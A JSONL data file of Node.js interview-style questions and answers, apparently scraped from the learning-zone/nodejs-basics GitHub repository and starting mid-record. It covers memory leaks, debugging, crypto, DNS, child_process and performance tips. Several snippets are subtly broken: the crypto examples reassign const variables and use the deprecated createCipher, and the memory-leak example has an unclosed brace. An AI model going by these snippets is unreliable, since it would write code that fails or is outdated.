require(\"./logger\");\nconst app = express();\n\napp.get(\"/event\", (req, res, next) => {\n  try {\n    throw new Error(\"Not User!\");\n  } catch (error) {\n    logger.error(\"Events Error: Unauthenticated user\");\n    res.status(500).send(\"Error!\");\n  }\n});\n\napp.listen(3000, () => {\n  logger.info(\"Server Listening On Port 3000\");\n});\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207882"}
{"id": "gh_a958edca683f", "question": "How to: Q. How to solve \"Process out of Memory Exception\" in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Process out of Memory Exception is an exception that occurs when your node.js program gets out of memory. This happens when the default memory allocated to our program gets exceeded by our program while execution.\n\nThis exception can be solved by increasing the default memory allocated to our program to the required memory by using the following command.\n\n**Syntax:**\n\n```js\nnode --max-old-space-size=\nindex.js\n```\n\n**Example:**\n\n```js\n/**\n * OutOfMemory Exception\n */\nlet items = [];\n\nfor (let i = 0; i < 999999999; i++) {\n  items.push(i);\n}\n\nconsole.log(items);\n```\n\nOutput:\n\n```js\n<--- Last few GCs --->\n\n[11652:000001DA4373BE50]      581 ms: Scavenge 765.9 (799.0) -> 765.9 (799.0) MB, 29.6 / 0.0 ms  (average mu = 1.000, current mu = 1.000) allocation failure    \n[11652:000001DA4373BE50]      844 ms: Scavenge 1148.4 (1181.6) -> 1148.4 (1181.6) MB, 44.7 / 0.0 ms  (average mu = 1.000, current mu = 1.000) allocation failure\n\n[11652:000001DA4373BE50]     1239 ms: Scavenge 1722.2 (1755.4) -> 1722.2 (1755.4) MB, 67.5 / 0.0 ms  (average mu = 1.000, current mu = 1.000) allocation failure\n\n<--- JS stacktrace --->\n\nFATAL ERROR: invalid array length Allocation failed - JavaScript heap out of memory\n 1: 00007FF784AA052F napi_wrap+109311\n 2: 00007FF784A45256 v8::internal::OrderedHashTable\n::NumberOfElementsOffset+33302\n 3: 00007FF784A46026 node::OnFatalError+294\n 4: 00007FF78531163E v8::Isolate::ReportExternalAllocationLimitReached+94\n 5: 00007FF7852F64BD v8::SharedArrayBuffer::Externalize+781\n 6: 00007FF7851A094C v8::internal::Heap::EphemeronKeyWriteBarrierFromCode+1516\n 7: 00007FF7851C547F v8::internal::Factory::NewUninitializedFixedArray+111\n 8: 00007FF78508B3C0 v8::Object::GetIsolate+8128\n 9: 00007FF784F151F7 v8::internal::interpreter::JumpTableTargetOffsets::iterator::operator=+169671\n10: 00007FF785399FED v8::internal::SetupIsolateDelegate::SetupHeap+463949\n11: 000003EC8D443246\n```\n\nThe default memory allocated to a node.js program is 512MB on 32-bit systems and 1024MB on 64-bit systems. In the below example, we have increased the memory space requirements to 2048MB or 2GB. Use the following command to run the JS file(index.js).\n\n**Example:**\n\n```js\nnode --max-old-space-size=2048 index.js\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207895"}
{"id": "gh_fdcda90ba7b2", "question": "How to: Q. What are the types of memory leaks in node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "A memory leak is a condition that occurs when a program doesn\\'t release the memory it allocates. For instance, the system assigns memory locations to store values for the variables that we declare inside our program.\n\nHigh-level programming languages such as JavaScript utilize automatic memory management, known as garbage collection. Garbage collection allocates the memory to a variable once we declare it and reclaims the memory once it is no longer needed. Unfortunately, even though JavaScript uses a garbage collector to release the memory, sometimes determining whether to free the memory or not is undecidable.\n\nThe common causes of Memory Leaks in Node.JS are:\n\n**1. Global variables:**\n\nThis is one of the most common causes of leaks in Node. Due to the nature of JavaScript as a language, it is very easy to add to global variables and resources. If these are not cleaned over time, they keep adding up and eventually crash the application.\n\n**Example:**\n\n```js\nconst http = require(\"http\");\n\nconst requestLogs = []; // causing the memory leak\nconst server = http.createServer((req, res) => {\n    requestLogs.push({ url: req.url, array: new Array(10000).join(\"*\")\n    res.end(JSON.stringify(requestLogs));\n});\n\nserver.listen(3000);\nconsole.log(\"Server listening to port 3000. Press Ctrl+C to stop it.\");\n```\n\n**2. Closures:**\n\nClosures memorize their surrounding context. When a closure holds a reference to a large object in heap, it keeps the object in memory as long as the closure is in use.\n\nThis implies easily ending up in situations where a closure holding such a reference can be improperly used leading to a memory leak.\n\n**3. Timers & Events:**\n\nThe use of setTimeout, setInterval, Observers, and event listeners can cause memory leaks when heavy object references are kept in their callbacks without proper handling.\n\n**4. Multiple references:**\n\nIf you reference the same object from multiple objects, it can lead to a memory leak if one of the references is garbage collected while the other one is left dangling.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207905"}
{"id": "gh_3ca4ec23088b", "question": "How to: Q. How to prevent memory leaks in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Tools to help debug memory leaks:\n\n**1. Node-heapdump:**\n\nThe node-heapdump module is good for post-mortem debugging. It generates heap dumps on your SIGUSR2. To help catch bugs easily in a development environment, add node-heapdump as a dependency to your project like so:\n\n```js\nconst heapdump = require(\"heapdump\");\n\nheapdump.writeSnapshot(function (err, filename) {\n  console.log(\"Sample dump written to\", filename);\n});\n```\n\n**2. Clinic.js:**\n\nClinic.js is a handy toolset to diagnose and pinpoint performance bottlenecks in your Node applications. The Clinic.js HeapProfiler uses flame graphs to highlight memory allocations. You can use it with tools such as AutoCannon to simulate HTTP load when profiling.\n\n**3. The process.memoryUsage method:**\n\nThe process.memoryUsage method provides a simple way of monitoring memory usage in your Node applications.\n\nThe method returns an object with the following properties:\n\n* **rss:**, or resident set size, refers to the amount of space occupied in the main memory for the process, which includes code segment, heap, and stack. If your RSS is going up, there is a likelihood your application is leaking memory\n* **heapTotal:**, the total amount of memory available for JavaScript objects\n* **heapUsed:**, the total amount of memory occupied by JavaScript objects\n* **external:**, the amount of memory consumed by off-heap data (buffers) used by Node; this is where objects, strings, and closures are stored\n* **arrayBuffers:**, the amount of memory allocation for ArrayBuffers and SharedArrayBuffers (the external memory size also includes this memory value)\n\n**Example:**\n\n```js\nconsole.log(process.memoryUsage());\n```\n\nOutput:\n\n```js\n{\n  rss: 4935680,\n  heapTotal:1826816,\n  heapUsed:650472,\n  external: 49879,\n  arrayBuffers: 17310,\n}\n```\n\n**4. Node Inspector:**\n\nNode Inspector is a debugger interface for Node applications. Run Node with the --inspect flag to use it, and it starts listening for a debugging client. It is one of the simplest ways of capturing heap snapshots with Chrome DevTools.\n\n**5. Chrome DevTools:**\n\nChrome offers a range of tools to help debug your memory and performance issues, including allocation timelines, sampling heap profiler, and heap snapshots etc.", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207913"}
{"id": "gh_66f7186b6472", "question": "How to: Q. How Garbage collection works in Node.JS?", "question_body": "About learning-zone/nodejs-basics", "answer": "The V8 uses a scheme similar to the Java Virtual Machine and divides the memory into segments. The thing that wraps the scheme concept is known as Resident Set, which refers to the portion of memory occupied by a process that is held in the RAM.\n\n* **Stack**: Stores static data, method and function frames, primitive values, and pointers to stored objects. The stack is managed by the operating system.\n\n* **Heap**: Stores objects. Because everything in JavaScript is an object this means all dynamic data like arrays, closures, etc. The heap is the biggest block of memory and it\\'s where Garbage Collection (GC) happens.\n\n* **Code Segment**: the actual code is being executed.\nGarbage collection frees up memory in the Heap used by objects that are no longer referenced from the Stack, either directly or indirectly. The goal is to create free space for creating new objects. Garbage collection is generational. Objects in the Heap are grouped by age and cleared at different stages.\n\n**Mark-and-sweep algorithm:**\n\nIn JavaScript, the root is the global object. The garbage collector start from these roots, find all objects that are referenced from these roots, then all objects referenced from these, etc. Starting from the roots, the garbage collector will thus find all reachable objects and collect all non-reachable objects.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207922"}
{"id": "gh_77f38547abd7", "question": "How to: Q. How to debug an application in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "**1. node-inspector:**\n\n```js\nnpm install -g node-inspector\n```\n\nRun\n\n```js\nnode-debug app.js\n```\n\n**2. Debugging:**\n\n* Debugger\n* Node Inspector\n* Visual Studio Code\n* Cloud9\n* Brackets\n\n**3. Profiling:**\n\n```js\n1. node --prof ./app.js\n2. node --prof-process ./the-generated-log-file\n```\n\n**4. Heapdumps:**\n\n* node-heapdump with Chrome Developer Tools\n\n**5. Tracing:**\n\n* Interactive Stack Traces with TraceGL\n\n**6. Logging:**\n\nLibraries that output debugging information\n\n* Caterpillar\n* Tracer\n* scribbles\n\nLibraries that enhance stack trace information  \n\n* Longjohn\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207931"}
{"id": "gh_b41f38786007", "question": "How to: # 16. NODE.JS INTERNATIONALIZATION", "question_body": "About learning-zone/nodejs-basics", "answer": "#### Q. How to use locale (i18n) in Node.js?\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207936"}
{"id": "gh_52623291b16f", "question": "How to: Q. What is a stub?", "question_body": "About learning-zone/nodejs-basics", "answer": "Stubbing and verification for node.js tests. Enables you to validate and override behaviour of nested pieces of code such as methods, require() and npm modules or even instances of classes. This library is inspired on node-gently, MockJS and mock-require.  \n\n**Features of Stub:**  \n\n* Produces simple, lightweight Objects capable of extending down their tree\n* Compatible with Nodejs\n* Easily extendable directly or through an ExtensionManager\n* Comes with predefined, usable extensions\n\nStubs are functions/programs that simulate the behaviours of components/modules. Stubs provide canned answers to function calls made during test cases. Also, you can assert on with what these stubs were called.\n\nA use-case can be a file read, when you do not want to read an actual file:\n\n```js\nconst fs = require('fs');\n\nconst readFileStub = sinon.stub(fs, 'readFile', function (path, cb) {  \n  return cb(null, 'filecontent');\n});\n\nexpect(readFileStub).to.be.called;  \nreadFileStub.restore();\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207944"}
{"id": "gh_e24afb77befa", "question": "How to: Q. What is a test pyramid?", "question_body": "About learning-zone/nodejs-basics", "answer": "The \"Test Pyramid\" is a metaphor that tells us to group software tests into buckets of different granularity. It also gives an idea of how many tests we should have in each of these groups. It shows which kinds of tests you should be looking for in the different levels of the pyramid and gives practical examples on how these can be implemented.\nMike Cohn\\'s original test pyramid consists of three layers that your test suite should consist of (bottom to top):\n\n1. Unit Tests\n1. Service Tests\n1. User Interface Tests\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207951"}
{"id": "gh_ec8a95211ba7", "question": "How to: Q. How to use Joi module for schema validation in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Joi module is a popular module for data validation. This module validates the data based on schemas. There are various functions like optional(), required(), min(), max(), etc which make it easy to use and a user-friendly module for validating the data.\n\n**Example:**\n\n```js\nconst Joi = require(\"joi\");\n\n// User-defined function to validate the user\n\nfunction validateUser(user) {\n\n  const JoiSchema = Joi.object({\n\n    username: Joi.string().min(5).max(30).required(),\n\n    email: Joi.string().email().min(5).max(50).optional(),\n\n    date_of_birth: Joi.date().optional(),\n\n    account_status: Joi.string()\n      .valid(\"activated\")\n      .valid(\"unactivated\")\n      .optional(),\n  }).options({ abortEarly: false });\n\n  return JoiSchema.validate(user);\n}\n\nconst user = {\n  username: \"Deepak Lucky\",\n  email: \"deepak.lucky@gmail.com\",\n  date_of_birth: \"2000-07-07\",\n  account_status: \"activated\",\n};\n\nlet response = validateUser(user);\n\nif (response.error) {\n  console.log(response.error.details);\n} else {\n  console.log(\"Validated Data\");\n}\n```\n\n**⚝ [Try this example on CodeSandbox](https://codesandbox.io/s/schema-validation-using-joi-s2nhzs)**\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207960"}
{"id": "gh_0d0db3977123", "question": "How to: Q. How to improve Node.js performance?", "question_body": "About learning-zone/nodejs-basics", "answer": "**1. Asynchronous Functions:**\n\nUsing asynchronous functions in an application that heavily uses I/O operations will improve it. This is because the CPU will be able to handle multiple requests simultaneously due to non-blocking I/O, while one of these requests is making an Input/Output operation.\n\n**Example:**\n\n```js\nvar fs = require('fs');\n\n// Performing a blocking I/O\nvar file = fs.readFileSync('/etc/file.txt');\nconsole.log(file);\n\n// Performing a non-blocking I/O\nfs.readFile('/etc/file.txt', function(err, file) {\n    if (err) return err;\n    console.log(file);\n});\n```\n\n**2. Query Optimization:**\n\nBasic tips to improve your database performance/optimization overview\n\n* **Indexing** - Indexing is an approach to optimize the performance of a database by minimizing the number of disk accesses required when a query is processed.\n\n* **Avoid SELECT** -  Use the SELECT statement to query only the data you need and avoid extra fetching loads to your database.\n\n```sql\n-- query1\nSELECT * FROM Customers\n\n-- query2 (optimized)\nSELECT FirstName, LastName, Address, City, State, Zip FROM Customers\n```\n\n* **Use LIMIT** - LIMIT will return only the specified number of records.\n\n```sql\nSELECT FirstName, LastName, Address, City, State, Zip FROM Customers LIMIT 100\n```\n\n* **Wildcard (%)** - Use wildcard (%) character appropriately\n\n```sql\n-- SELECT customers whose first names start with \"Avi\"\n\n-- query1\nSELECT FirstName from Customers where FirstName like '%avi%'\n\n-- query2 (optimized)\nSELECT FirstName from Customers where FirstName like 'avi%'\n```\n\n**3. Caching:**\n\nCaching is one of the common ways of improving the Node Js performance. A cache is a memory buffer where frequently accessed data is temporarily stored to be accessed quicker. Cached data is then retrieved without having to access the origin. Caching will improve your app response time and even reduce some costs such as bandwidth and data volumes.\n\n* **Redis cache** is entirely asynchronous with optimal performance to handle cached data requests in a single thread.\n\n* **Memcached** stores data across different nodes. It uses a hashing schema that provides a hash table functionality. These ensure that adding, or removing a server node does not significantly change the mapping of the keys to server nodes.\n\n* **Node-cache** works almost like Memcached with the set, get, and delete methods. It has a timeout that deletes data from the cache when the timeout expires.\n\n* **Nginx** will help maintain load balance. Nginx will help cache static files, that will drastically offload the work of the application server. It offers low memory usage and high concurrency.\n\n**4. Load Balancing:**\n\nIt\\'s a typical challenge to create performant applications that can handle a huge number of incoming connections. Load balancing is the term for this method. The cluster module to allow load balancing and distribute incoming connections across all workers in an environment\\'s numerous CPU cores using a **round-robin** technique.\n\nUsing the PM2 process manager to keep applications alive indefinitely is another option. PM2 includes a cluster feature that allows you to run numerous processes over all cores without having to worry about changing the code to use the native cluster module.\n\n**5. Real-time Monitoring:**\n\nGauging the current level of performance of an application may require running different kinds of tests, such as the following:\n\n* **Load testing:** refers to the practice of simulating the expected usage of a system and measuring its response as the workload increases.\n\n* **Stress testing:** designed to measure how a system performs beyond the limits of normal working conditions. Its goal is to determine how much the system can handle before it fails and how it attempts to recover from a failure.\n\n* **Spike testing:** helps to test the behavior of an application when it receives a drastic increase or decrease in load.\n\n* **Scalability testing:** used to find the point at which the application stops scaling and identify the reasons behind it.\n\n* **Volume testing:** determines if a system can cope with large amounts of data.\n\n* **Endurance testing:** helps evaluate the behavior of a software application under sustained load for a long period, to catch problems such as memory leaks.\n\n**6. Use HTTP/2:**\n\nThe HTTP/2 in a Node.js application make web browsing faster and easier while reducing bandwidth usage. HTTP/2 is aimed at increasing performance and addressing concerns with HTTP/1.x.\n\nHTTP/2 has the following features:\n\n* **Header Compression** - This disables unnecessary headers and compels all HTTP headers to be sent compressed.\n* **Multiplexing** - This allows multiple requests to simultaneously retrieve resources and response messages over a single TCP connection.\n\n**7. Stateless Authentication:**\n\nStateless authentication on the client-side with the help of JSON Web Token ( **JWT** ) provides great speed to the application. In this Stateless Authentication procedure, a web", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207985"}
{"id": "gh_c807f4310faa", "question": "How to: Q. What is crypto in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "The Node.js Crypto module supports cryptography. It provides cryptographic functionality that includes a set of wrappers for open SSL\\'s hash HMAC, cipher, decipher, sign and verify functions.\n\n* **Hash**: A hash is a fixed-length string of bits i.e. procedurally and deterministically generated from some arbitrary block of source data.\n* **HMAC**: HMAC stands for Hash-based Message Authentication Code. It is a process for applying a hash algorithm to both data and a secret key that results in a single final hash.\n\n* Encryption Example using Hash and HMAC\n\n```js\nconst crypto = require('crypto');  \nconst secret = 'abcdefg';  \nconst hash = crypto.createHmac('sha256', secret)  \n                   .update('Welcome to Node.js')  \n                   .digest('hex');  \nconsole.log(hash);  \n```\n\n* Encryption example using Cipher\n\n```js\nconst crypto = require('crypto');  \nconst cipher = crypto.createCipher('aes192', 'a password');  \n\nconst encrypted = cipher.update('Hello Node.js', 'utf8', 'hex');  \nencrypted += cipher.final('hex');  \n\nconsole.log(encrypted);\n```\n\n* Decryption example using Decipher\n\n```js\nconst crypto = require('crypto');  \nconst decipher = crypto.createDecipher('aes192', 'a password');  \n\nconst encrypted = '4ce3b761d58398aed30d5af898a0656a3174d9c7d7502e781e83cf6b9fb836d5';  \nconst decrypted = decipher.update(encrypted, 'hex', 'utf8');  \ndecrypted += decipher.final('utf8');  \n\nconsole.log(decrypted);  \n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207995"}
{"id": "gh_590a5a97609b", "question": "How to: Q. How to execute an external program from within Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "```js\nconst { exec } = require('child_process');\n\nexec('\"/path/to/test file/test.sh\" arg1 arg2');\n\nexec('echo \"The \\\\$HOME variable is $HOME\"');\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208001"}
{"id": "gh_553801c3c4c3", "question": "How to: Q. What is REPL?", "question_body": "About learning-zone/nodejs-basics", "answer": "REPL (READ, EVAL, PRINT, LOOP) is a computer environment similar to Shell (Unix/Linux) and command prompt. Node comes with the REPL environment when it is installed. System interacts with the user through outputs of commands/expressions used. It is useful in writing and debugging the codes. The work of REPL can be understood from its full form:\n\n* **Read**: It reads the inputs from users and parses it into JavaScript data structure. It is then stored to memory.\n* **Eval**: The parsed JavaScript data structure is evaluated for the results.\n* **Print**: The result is printed after the evaluation.\n* **Loop**: Loops the input command. To come out of NODE REPL, press ctrl+c twice\n\nSimple Expression\n\n```js\n$ node\n> 10 + 20\n30\n> 10 + ( 20 * 30 ) - 40\n570\n>\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208008"}
{"id": "gh_8aa028f1e165", "question": "How to: Q. What does the runtime environment mean in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "The Node.js runtime is the software stack responsible for installing your web service\\'s code and its dependencies and running your service.\n\nThe Node.js runtime for App Engine in the standard environment is declared in the `app.yaml` file:\n\n```js\nruntime: nodejs10\n```\n\nThe runtime environment is literally just the environment your application is running in. This can be used to describe both the hardware and the software that is running your application. How much RAM, what version of node, what operating system, how much CPU cores, can all be referenced when talking about a runtime environment.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208014"}
{"id": "gh_496e6f6ac1bd", "question": "How to: Q. Explain usage of NODE_ENV?", "question_body": "About learning-zone/nodejs-basics", "answer": "NODE_ENV is an environment variable made popular by the express web server framework. When a node application is run, it can check the value of the environment variable and do different things based on the value.\n\nFor example, when we work on a project and there are production and development environments. We don\\'t need to use caching in the development env. So we set\n\n ```js\n NODE_ENV=development\n ```\n\nand use the code below\n\n```js\nif (process.env.NODE_ENV === 'development')\n    useCaching = false;\n```\n\nUpon that, if the project runs on production it will use caching.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208020"}
{"id": "gh_5950f077e471", "question": "How to: Q. How assert works in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "The assert module provides a way of testing expressions. If the expression evaluates to 0, or false, an assertion failure is being caused, and the program is terminated.\n\nThis module was built to be used internally by Node.js.\n\n```js\n// Sample usage\n\nconst assert = require('assert');\nassert(50 > 70, \"50 is less than 70.\");\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208026"}
{"id": "gh_3d55f631e0b1", "question": "How to: Q. What is the use of DNS module in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "DNS is a node module used to do name resolution facility which is provided by the operating system as well as used to do an actual DNS lookup. No need for memorising IP addresses – DNS servers provide a nifty solution of converting domain or subdomain names to IP addresses. This module provides an asynchronous network wrapper and can be imported using the following syntax.\n\n```js\nconst dns = require('dns');\n```\n\n**Example:** `dns.lookup()` function  \n\n```js\nconst dns = require('dns');  \ndns.lookup('www.google.com', (err, addresses, family) => {  \n  console.log('addresses:', addresses);  \n  console.log('family:',family);  \n});  \n```\n\n**Example:** `resolve4()` and `reverse()` functions\n\n```js\nconst dns = require('dns');  \ndns.resolve4('www.google.com', (err, addresses) => {  \n  if (err) throw err;  \n  console.log(`addresses: ${JSON.stringify(addresses)}`);  \n  addresses.forEach((a) => {  \n    dns.reverse(a, (err, hostnames) => {  \n      if (err) {  \n        throw err;  \n      }  \n      console.log(`reverse for ${a}: ${JSON.stringify(hostnames)}`);  \n    });  \n  });  \n});\n```\n\n**Example:** Print the localhost name using `lookupService()` function\n\n```js\nconst dns = require('dns');  \ndns.lookupService('127.0.0.1', 22, (err, hostname, service) => {  \n  console.log(hostname, service);  \n    // Prints: localhost  \n});\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208035"}
{"id": "gh_1010cd8a49d4", "question": "How to: Q. What is JIT and how is it related to Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Node.js has depended on the V8 JavaScript engine to provide code execution in the language. The V8 is a JavaScript engine built at the google development center, in Germany. It is open source and written in C++. It is used for both client side (Google Chrome) and server side (node.js) JavaScript applications. A central piece of the V8 engine that allows it to execute JavaScript at high speed is the JIT (Just In Time) compiler. This is a dynamic compiler that can optimize code during runtime. When V8 was first built the JIT Compiler was dubbed FullCodegen. Then, the V8 team implemented Crankshaft, which included many performance optimizations that FullCodegen did not implement.\n\nThe `V8` was first designed to increase the performance of the JavaScript execution inside web browsers. In order to obtain speed, V8 translates JavaScript code into more efficient machine code instead of using an interpreter. It compiles JavaScript code into machine code at execution by implementing a JIT (Just-In-Time) compiler like a lot of modern JavaScript engines such as SpiderMonkey or Rhino (Mozilla) are doing. The main difference with V8 is that it doesn\\'t produce bytecode or any intermediate code.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208043"}
{"id": "gh_ecd8f40d329c", "question": "How to: Q. How to generate and verify checksum of the given string in Nodejs", "question_body": "About learning-zone/nodejs-basics", "answer": "The **checksum** (aka **hash sum**) calculation is a one-way process of mapping an extensive data set of variable length (e.g., message, file), to a smaller data set of a fixed length (hash). The length depends on a hashing algorithm.\n\nFor the checksum generation, we can use node `crypto()` module. The module uses `createHash(algorithm)` to create a checksum (hash) generator. The algorithm is dependent on the available algorithms supported by the version of OpenSSL on the platform.\n\n**Example:**\n\n```js\nconst crypto = require('crypto');\n\n// To get a list of all available hash algorithms\ncrypto.getHashes() // [ 'md5', 'sha1', 'sha3-256', ... ]\n\n  \n// Create hash of SHA1 type\nconst key = \"MY_SECRET_KEY\";\n\n// 'digest' is the output of hash function containing  \n// only hexadecimal digits\nhashPwd = crypto.createHash('sha1').update(key).digest('hex');\n  \nconsole.log(hashPwd); //ef5225a03e4f9cc953ab3c4dd41f5c4db7dc2e5b\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208050"}
{"id": "gh_1e8fea42b22c", "question": "How to: Q. What kind of web application should never be built by using Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Node.js development has many benefits, but it won\\'t provide the best performance for some application\\'s needs or processes. Here are the points for which developers or businesses must avoid Node.js:\n\n**1. A CPU-Heavy Application:**\n\nNode.js uses an event-based, non-blocking I/O architecture and only has one CPU – all of that intensive CPU processing would block incoming requests. As a result of the high-end number crunching, the thread might get stuck.\n\n**2. A Relational Database-Backed Server-Side App:**\n\nYou can also develop a standard web application on the server using Node.js and express.js. However, the responsiveness of Node.js will be hampered if these web applications consume a lot of CPU power. Because Node.js Relational DB tool is still in beta, it\\'s best to use other environments to conduct relational operations.\n\n**3. Developing simple CRUD application:**\n\nYou can use Node.js for such applications, but the performance and power for which Node.js is known would remain useless. Hence, it is strongly recommended to go for other frameworks or environments for developing simple HTML application instead of Node.js.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208067"}
{"id": "gh_be7bfa9f9ab3", "question": "How to: Q. What are the types of applications you can build with Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Node.js is a JavaScript runtime environment built upon event-driven programming that enables non-blocking I/O (Input/Output) capable of serving multiple concurrent events in a single thread. Non-blocking I/O makes Node.js very fast, lightweight, scalable, and efficient in handling data-heavy and I/O-heavy workloads characteristic of several types of web applications.\n\nTypes of applications you can build with Node.js\n\n* IoT (Internet of Things)\n* Real-Time Chat Application\n* Single-Page Application\n* Social Media Platform\n* Streaming App\n* Online Payment Processor\n* Remote Collaboration Tool\n* CRM Tool\n* Advanced Fintech App\n* Content Management System\n* E-Learning Platform\n* E-Commerce Platform\n* Ridesharing App\n* Project Management Tools\n* Location-Based App\n* Online Publishing Platforms\n* ERP Tool\n* Websites With Server-Side Rendering\n* FastCGI Servers\n* Command Line Tools\n* API Servers\n* Desktop Apps\n* Backend for Mobile Apps\n* Server Management Services\n* Notification Centre\n* Custom DNS Server\n* Static Site Generator\n* Game Servers, Game Clients\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208076"}
